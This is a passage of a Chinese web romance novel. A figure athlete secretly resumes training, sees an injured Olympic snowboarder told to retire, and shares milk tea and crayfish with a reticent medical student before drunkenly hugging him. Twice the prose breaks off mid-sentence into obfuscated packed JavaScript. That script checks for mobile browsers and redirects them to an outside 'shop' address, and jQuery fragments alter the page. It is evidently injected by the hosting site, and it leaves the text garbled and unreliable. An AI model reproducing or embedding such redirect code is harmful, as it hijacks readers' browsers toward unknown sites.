他回想起傍晚时的水房,她被季丞骂到眼眶通红。 他感觉像被什么东西刺了一下。 他很少会因为别人有太大的情绪,就觉得她不应该被这样对待,就是…… 沉默了两秒。 算了,没必要再惹她不高兴。 他删掉了那三个字,重新输入。 而且他也没骗她,不算说谎。 小金鱼:【嗯】 温梨看到这个简单的 “嗯” 时,整颗心都像泡进了蜜水里。 她把手机倒扣在沙发上,捂着脸无声尖叫了两秒。好难为情,肖靳予夸她漂亮哎。 笑够了,她才爬起来截屏,裁掉他头像后发了条朋友圈:【今天是漂亮的梨】,还配了张精心p过的自拍照。 她朋友多,没几秒评论区就炸开了过。 :【可以啊梨,桃花开了?】 :【是哪个帅哥这么有眼光啊?】 :【字符是什么意思,确定不是键盘滚脸上了误触的?】 她一条条回着,脸上的热度还没褪下去,“狐朋狗友”群又弹出消息。 向日葵:【你这onedayday的不好好训练干嘛呢?@大梨士】 大梨士:【泡男人】 向日葵:【沉迷男色不思进取,不来基地怕是又偷懒了】 大梨士:【没偷懒,这不是怕我爸妈发现,我都在偷偷练……】 向日葵:【借口,跟你的狗男人天长地久去吧】 大梨士:【谢谢祝福】 向日葵:【……】 14. 第 14 章 温梨没撒谎。 这段时间她是真的瞒着爸妈偷偷加练了,每天早起两小时,虽说有些动作还很生疏,但好歹找回了一点感觉。 第二天,温梨去附院复查。 出门的时候天还阴着,像憋着一场大雨。 她打车到医院,复查室门口早已排着长队。取完号,她找了个靠窗的椅子坐下。 手机刷着刷着,听到走廊末端飘来对话声。 “医生,您跟我说实话…… 我还能回去吗?” 温梨下意识抬眼望去。 说话的是个高挑的女生,她穿着简单的运动外套,看上去有些失落。温梨一眼就认出了她,是宋颖,四年前冬奥会的单板滑雪金牌得主。 那年她二十岁,披着国旗站在领奖台,笑得整个人都在发光。赛后采访里她还对着镜头说,这只是开始,我会拿更多金牌。 温梨也没料到,会在这样的场合遇到她。 她是受伤了吗?没看见有媒体报道过。 对面的医生叹着气,语气尽量温和:“你这是旧伤叠加新伤,半月板磨损得太严重,再强行训练,别说滑雪,正常走路都会受影响。为了身体,退役是目前最稳妥的选择。” “退役” 两个字轻飘飘落下来。 温梨的心却猛地一揪。 宋颖的肩膀动了一下,隔了许久,才落下一句:“可是退役后我不知道还能做什么。” “你还年轻,先养好身体,身体好了没有什么不能做的。” “谢谢医生。” 两人的声音渐渐远去,走廊恢复安静。 温梨坐在原地,手机还亮着,屏幕上是她没看完的微博,可现在她一个字也看不进去了。 宋颖居然要退役了,如果没记错,她现在才二十五岁,比她大不了多少,明明是最好的年纪。 但竞技体育本来就是残酷的,聚光灯从来都只追逐领奖台上的胜者,更多的人只能在伤病中挣扎,在坚持与放弃间摇摆。 她看着宋颖,就像站在一面镜子前,镜子里的人不是宋颖,而是五年后的自己。 她也会有这么一天的吧。 就算再努力也会有这么一天。 她也不是矫情,就是忽然有点难过。 “请43号温梨就诊。” 导诊台的呼唤声打断她的思绪,温梨深吸一口气,起身进了复查室。 _ 傍晚六点,肖靳予从科室出来,一眼看见楼下花坛边坐着一个人。 她戴着帽子,帽檐压得很低,低到看不见脸,但耷拉着的脑袋也能让人看出来她的心情不好。 他脚步顿了顿。 脑海中立马浮现出她平时的样子,走路都是轻快的步子,马尾一甩一甩,鲜活得像她微信头像的兔子,可现在,兔子耳朵都要耷拉到地上了。 肖靳予在原地站了会儿,身后忽然有人拍了下他的肩:“看什么呢,还不下班?” 是苏宇成。 他凑过来,顺着他的视线往前瞄了眼:“又是她,她还没走呢?” 肖靳予抬眉:“还?” “哦。下午她去值班室找你了,我没告诉她你在,随便说了几句就把她给打发走了,不用谢。” 肖靳予眉头微皱:“她来找过我?” “对啊,就一小时之前。我看她是还没死心,你啊就别理她好了,这种小姑娘就是一时兴起,过段时间看到别的帅哥就把你忘了,不会纠缠太久的。” 苏宇成嘀咕:“不过她看上去怎么不太开心,难道跟男朋友吵架了?” “男朋友”三个字像根刺,在他心口不轻不重地扎了一下,烦闷又没来由地涌了上来。 肖靳予又往花坛边瞟了一眼。 那团身影还在那儿,一动不动的,像棵幼小无助的蘑菇。 “小妹妹年纪不大,当什么不好非要当海王。”苏宇成嚼着饼干八卦。 “她不是海王。”肖靳予下意识反驳。 “嘿,你还护上了,她怎么不是海王了,有男朋友还泡你,这不是海王是什么?” “她没泡我,也没对我说过什么过界的话。” “这才是关键啊。”苏宇成简直痛心疾首,“所以说她才是高手,时不时给你点暗示,松一下,紧一下的,等你真上钩的时候,嘿,她把饵撤了,还一脸无辜地问你是不是误会了,你说气不气人?” 说到一半,肖靳予已经不想听了。 “你不会真对她有意思吧,虽说你跟季丞不对付,但大家好歹是同学,你又不能去挖人墙角。” “我为什么不能?”他忽然反问。 苏宇成大脑一时没回过弯:“……什么?” 肖靳予表情平静,但苏宇成硬是从他脸上解读出了一种“我没开玩笑”的认真。 “不是,你真的假的啊?” “季丞对她不好。”他说。 “那跟你有什么关系啊,人家小情侣一个愿打一个愿挨的。” “……” 是啊,跟他有什么关系。 他只是觉得,她应该永远明媚。 肖靳予没回答,抬腿往外走了。 苏宇成傻在原地。 他跟肖靳予认识不算短,从大一小组实验被他全程带飞开始,到现在也快五年了。他从没见过他这样不冷静,这个人对外表现出的态度一直是漠不关心,他什么都不在乎,不在乎奖学金、成绩、前途、也不在乎感情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496935|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大一时,向他示好的女生不在少数,全被他铜墙铁壁的性格碰一鼻子灰,热情投进去,连回音都听不见,慢慢就没人去自找苦吃了。 他独身一人,按部就班地往前走,走得比所有人快,却不知道要去哪里。吴院长说,肖靳予天分极高,但心不在这里。他像一把没开刃的刀,锋利,但不知道砍向哪里。 现在这把刀好像找到方向了,虽然方向有点离谱,他看上别人的女朋友了! 苏宇成心想,这下彻底要出事了,他要不要去提醒一下季丞?还是帮肖靳予保密啊?医学院两大卷王抢完直博名额,开始抢女朋友了? 这都是什么事啊! _ “温梨!” 声音落过来的时候,温梨正把脑袋埋在膝盖里,玩植物大战僵尸玩得起劲,这关玩了六次,就剩最后一个太阳了。 闻声她猛地抬头,看到了男神略显冷淡的脸。 落日正好卡在他身后的楼宇间,橘红色的光毫无遮拦地泼过来,刺得她微眯起了眼。 肖靳予? 温梨愣住,大脑也跟全空白了,就那么仰着脸,呆呆地看着他。 好一会儿才听到男神开口:“你的脑子被僵尸吃掉了。” “?” 男神怎么张口就骂人。 温梨恍惚半晌,才反应过来,低头去看手机,坏了,她脑子真被僵尸吃了。她手忙脚乱地退出游戏,才去问他:“有事吗?” “没事。” “哦。” 就是路过,不是找她的。 温梨失落地垂下脸,继续开了局游戏,玩了五分钟,余光里,那双鞋还在。 她忍不住又抬起头,小心翼翼地开口:“你是要找我吗?” “你……” 他刚说一个字,又停下了。 人来人往的,都是病人和家属,偶尔有目光投过来,在他们身上停一停,大概是觉得俩人这样站着不说话挺奇怪的吧。 其实肖靳予也不知怎么就过来了,他不是冲动的人,刚才一定是被苏宇成聒噪的不行,脑子里全是她,才不知道怎么往这边拐了。 但过来要说什么,他也不知道。他只是不想看到她失落的样子,但他又不会安慰人。 风从两人之间吹过去,把她的发丝吹乱了些。 身旁有对情侣经过,男生搂着女生肩膀轻声哄:“别不开心了,给你买奶茶喝。” “两杯。” “没问题。” 声音渐行渐远,消失在人群里。 “你想喝奶茶吗?”他倏地开口。 温梨懵懂地眨了眨眼,还有点做梦般的不真实:“你想请我喝奶茶吗?” “嗯。”他点头。 15. 第 15 章 医院附近就有家奶茶店,这会儿排队的人不多。肖靳予过去买了两杯芋圆烧仙草,提着出来时,却没看到温梨。 他脚步顿了顿,目光扫视一圈。 很快找到了人,她就站在对面那家超市的坡道边上。前面有个坐轮椅的年轻女孩,似是遇到了一点麻烦,正一脸焦急地转着轮子。 温梨过去问她:“需要帮忙吗?” 女孩感激地抬头,“可以帮我把轮椅往回退一点吗,轮子好像是卡住了。” 肖靳予拎着奶茶刚准备走过去,就看见温梨弯下腰,双手抱住旁边的石墩子,直接给搬起来了。 肖靳予:“……” 路边的圆墩子少说有三百斤,就这么被她双手抱着,轻轻松松地挪开了半米。 轮椅上的女孩更是看得目瞪口呆,嘴张到一半,忘了合上。 温梨帮她把轮椅推出来,还不忘回头将石墩子复位,动作一气呵成,相当利索。 “谢、谢谢你啊。”女孩终于找回了声音。 “没事儿,下回绕开着走,这边的路不平,就是很容易卡住,我走了。” “好,再见。” 温梨冲她笑了笑,转过身,就看到不远处拎着两杯奶茶走过来的肖靳予。 她立刻抬手理了理鬓角的碎发,神态重新变得温婉又淑女。 他刚刚没看到她那么粗鲁的一面吧。 应该没有。 络绎不绝的汽车和摩托车从路边呼啸而过,等她换个神,他已经站到了她面前,把那杯热的递过来。 脸上是一如既往的冷淡,没什么异常。 温梨接过,指尖碰到杯壁,热热的,和她此刻的体温差不多。 她迅速拍了张照片扔群里炫耀。 大梨士:【你们怎么知道男神请我喝奶茶了呢?】 然后也不管群里的反应,收起手机。 两人并肩走着,谁都没有说话。 傍晚的夕阳从楼宇间斜过来,在地上拉出两道影子,挨得很近。 温梨咬着吸管,目光悄悄落在那两道重合的影子上,忽然意识到,这还是他们第一次这样并肩走路。 是不是得说点什么? 温梨开始没话找话地打破沉默:“你为什么请我喝奶茶啊?” “你不是心情不好?” “哦,刚才是有点。” “……” 温梨等了几秒,没等到下文,只好自己接话:“你不问我为什么吗?” 他终于偏过头:“为什么?” 温梨咬着芋圆:“其实你别看我现在这样游手好闲,我以前是很厉害的人,怎么给你形容呢,就是在某个领域的同龄中几乎无人能敌。” 肖靳予语气平淡:“你现在也很厉害。” 至少一般人很难搬动三百斤的石墩子。 温梨愣了愣。 这人刚刚是在夸她吗? 她忽然觉得脸有点热了,抬手扇了扇,动作都变得扭捏:“现在没有以前厉害了,不太行了。” 两人继续沉默着走了一段。 路上,温梨悄悄瞄他好几眼,发现这人侧脸在夕阳里显得格外好看,眉骨高挺,鼻梁笔直,完全的漫撕男啊,怎么会有人这么准确的长在她的审美点上呢。 她看得有些出神,差点撞上路灯杆。 在肖靳予转头看过来时,她才慌忙收回视线,岔开话题说:“那个、我能不能问你一个问题?” “你说。” “如果一件事注定是BE,还值得去做吗?” “BE?”他似是没懂。 “就是Bad Ending。” 肖靳予:“……” BE?分手?感情破裂? 竞技体育,从诞生的那一刻起,就注定是BE,不是因为输赢,而是它从一开始就写好了结局,所有人最终都会输给时间、伤病和岁月。 冠军只有一个,巅峰只有几年,而退役是所有人的终点,既然结局是注定的,现在还要去努力拼那个不确定的结果吗? 肖靳予没回话,也不知道在想什么。 过了一会儿。 “他又骂你了?” 温梨不知道他口中的“他”是谁,还没来得及想通,他就已经回答了:“不是只有圆满的结局才值得开始。” 温梨不太理解,有点迷茫地看着他。 “你打游戏的时候,会因为迟早要下线,而不去享受中间的过程吗?” 温梨被这句话触动了下。 “故事的一开始总希望有圆满的结局,但是过程中却有无数意外,只要认真对待过就可以,结果不是人能控制的。”肖靳予看着她说,“如果真的走不下去……也不是你的错。” 温梨张了张嘴,半天没说话。 也对,虽然结果都一样,但是她可以拥有不一样的过程,她还可以去体验。 肖靳予看着她的脸,她的表情从迷茫到坚定,好似有什么东西落了地。 “你知道我说的是什么吗?”温梨问。 “差不多。”他回,“都一样。” 看看! 难道这就是学神。 不知道她在说什么都这么会安慰人。 温梨弯了弯唇,眼里的阴霾散去大半。 刚好兜里的手机响了。 她接起来。 “约会约的找不着北了?给我们带的小龙虾呢?” 听到那头付琴说“约会”两个字,温梨有些心虚的瞟了眼身边人,然后压低声音说:“急什么,晚一会儿还能饿死你不成。” “真快饿死了,你再不回来我要啃碗底了。” “知道了知道了。”她挂断电话。 温梨往前走了两步,看到肖靳予停下来,忽然问她:“你要买什么?” “你听到了?” “抱歉。” “哦哦也没什么,就是出来前我跟舍友说给她们带小龙虾,这不遇到你了嘛,就耽误了会儿。” 提起小龙虾,她都感觉到饿了。 肚子开始咕咕叫。 “哪家的?”他问。 “啊?” “哪家的小龙虾?” “就南山巷子那家,离这不远。” 他应了声。 也不知道他为什么问,但温梨还是厚脸皮的问了:“你要给我买啊?” 本以为他不会理她的,结果他居然答应了。 “嗯。” 温梨愣住,反应过来赶紧说:“不用不用,我就随口一说,当然如果你愿意陪我去买的话,我还挺高兴的。” 肖靳予没说话。 温梨歪头去打量他的神色,经过这段时间的相处她摸出规律了。他这人啊压根不会说好话,但只要没躲、没说不,那就是愿意,沉默就代表默许。 “那走吧。” 温梨蹦蹦跳跳地往前走了。 这家店在南山巷子深处,招牌不大,里面倒是热闹。 肖靳予原本是过来陪她买小龙虾的,也不知怎的,就被她拽着坐到了店里。 这个季节小龙虾刚上市,端上来时红彤彤堆了一盆,热气裹着辣香往上扑,看着就有食欲大动。 温梨没忘记打包一份,叫跑腿给付琴她们送回去,然后戴上手套,心无旁骛地开吃了:“没有小龙虾和啤酒的人生,是不完整的人生,开炫吧。” 肖靳予看她,没说话。 她一边剥一边跟他聊天:“今天谢谢你。” “谢什么?” “就是安慰我呀。” 他就是说了几句话而已:“这也算安慰?” “当然,肖医生妙手回春,字字珠玑,我一下子就被点通了,我现在想得很明白,也不难过了,你怎么这么厉害呀。” 她夸起人来毫不吝啬,总是真诚又明媚。 肖靳予垂眼,唇角抿出一个很淡的笑意,虽只片刻,温梨还是捕捉到了。 肖靳予竟然在对他笑。 她被这笑容晃了下,也不知道有没有人对他说过,他还是笑起来更好看,毕竟他长了一双桃花眼,笑起来时眼尾向下,温柔又多情。 但他不常笑,真是可惜了。 温梨拎着一只大个儿的龙虾,放到他碗里:“怎么不吃,不喜欢吃小龙虾?” “不饿。” “哦,那你剥给我吃?”她狡黠一笑,“我还挺饿的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496936|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>肖靳予没回应,只是低头,缓慢地戴上了塑料手套。他剥得很慢,动作却灵巧,剥壳去头,露出完成的虾肉,放在她碗里。 看着他的动作,温梨有点受宠若惊,连要说什么都忘记了。 “怎么?”他问。 温梨摇摇头,她只是觉得今天的肖靳予有点不一样,也许是被店里热腾腾的雾气熏的,让他身上笼罩的那层疏离感淡化了一些,露出底下她从未看清过的东西。 “你今天好像格外好说话,有求必应的。”温梨问他,“你是对所有女孩子都这么贴心吗?” 肖靳予一顿,语气莫名有点吃味:“我又不是海王。” “?” 这跟海王什么关系,小龙虾不是河里的吗? 温梨简单的大脑海想不明白这么复杂的问题,安静了两秒,又重新没话找话了:“肖靳予。” “嗯。” “我跟你说,我小时候可皮了,我妈说我三天不打上房揭瓦,有一次我把邻居家玻璃踢碎了,不敢回家,躲在花坛后面,一直躲到天黑。” 肖靳予没插话。 其实并没怎么听进去她在说什么,在某个瞬间,他忽然很想问她。 所以她刚刚想通后的答案是什么? 要分手吗? 话到嘴边,却没说出口。 “我妈找到我的时候,把我狠狠揍了一顿,然后带我去吃了小龙虾,就是这家,这里是我吃过最好吃的小龙虾了。” 然后她又兴致勃勃问:“你小时候挨过打吗?” 他有些心不在焉地摇头。 “也对,你一看就知道小时候肯定是好学生,学习好又听话,怎么会挨打呢。” 她仿佛有永远都说不完的话,一顿饭把自己不到二十年的生平都快抖落完了。 等吃得差不多,索性把手套摘掉,托腮看着他嘿嘿傻笑。店里灯光暖黄,落在那张染着绯红的脸上,似乎更鲜艳了。 肖靳予察觉她炙热的视线,抬头:“看我做什么?” “你好看啊。” “……” “你怎么没反应?” “……” 不等他开口,她又自问自答,“好吧,你确实没法反驳。” 如果不是他长得好看,也不至于让她锲而不舍地追着要微信,何况他还不理她。 他真是她见过最难相处的人了。 想到这,温梨默默在心里给自己搬了个勇气奖。不过也不是毫无进展,至少他已经愿意坐这里陪她吃小龙虾了。 “你是不是喝醉了?” 迷迷蒙蒙中似乎有人这么问,温梨狠狠甩了甩有点发晕的脑袋:“没有,我没醉,我能喝一百瓶我&*&#%” 看来是真醉了,都开始口齿不清。 肖靳予伸手,把她手里的啤酒拿走:“别喝了。” 温梨看着他乖巧点头:“你说不喝就不喝。” 他起身去结账,她就坐在位置上,眼睛追着他。等他回来,她立刻站起,跟着他出了店门,一步不落地跟着,像只生怕被落下的小动物。 夜风扑面而来,带着老巷子潮湿的青苔味和远处隐约的烟火气。 走到巷口,肖靳予站在路边打车,她就安安静静站在他身后半步远的地方,不吵也不闹。 肖靳予回头看她一眼。 平日话多又咋呼,喝醉后倒是意外的乖巧。 等了半分钟,温梨忽然说:“小金鱼,我有点困,我先睡觉了,晚安。” “?”睡觉? 肖靳予还没想明白她要在哪里睡觉。突然,腰间环上一双手,后背紧跟着贴过来一具温暖的身体,带着淡淡的茉莉香萦绕而来。 肖靳予整个人僵住。 “温梨!”他喊她。 身后没有回应,只有均匀的呼吸声。 她就这样抱着他,脸颊贴着他后背,像是终于找到一个舒服的位置,心满意足地赖着不挪窝了。 肖靳予垂眼去看自己腰间那双手,嫩白的手指交扣着,扣得很紧。 他咽了咽喉咙,耳根开始发烫,热意顺着耳侧蔓延到领口的脖颈,脑子里只余下一个念头在转—— 她身上好香。